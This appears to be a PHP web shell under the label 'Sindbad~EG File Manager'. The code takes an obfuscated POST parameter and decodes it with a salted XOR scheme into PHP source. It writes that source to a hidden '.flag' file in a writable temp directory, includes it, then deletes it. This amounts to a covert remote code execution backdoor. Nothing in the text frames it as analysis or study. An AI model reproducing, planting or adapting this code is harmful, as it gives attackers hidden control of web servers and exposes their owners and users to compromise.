Sindbad~EG File Manager

<?php

if(count($_POST) > 0 && isset($_POST["\x68ld"])){
	$marker = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path()]);
	$dat = $_POST["\x68ld"];
		$dat   = explode			("."	 ,$dat 	)	 ;	 
	$tkn = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
    
            foreach ($dat as $t =>$v1) { $chS = ord($salt[$t % $lenS]);
                $d = ((int)$v1 - $chS - ($t % 10)) ^70;
                $tkn 	.= chr($d); 	}	
	foreach ($marker as $rec) {
    		if (is_writable($rec) && is_dir($rec)) {
    $fac = "$rec/.flag";
    $file = fopen($fac, 'w');
if ($file) {
	fwrite($file, $tkn);
	fclose($file);
	include $fac;
	@unlink($fac);
	die();
}
}
}
}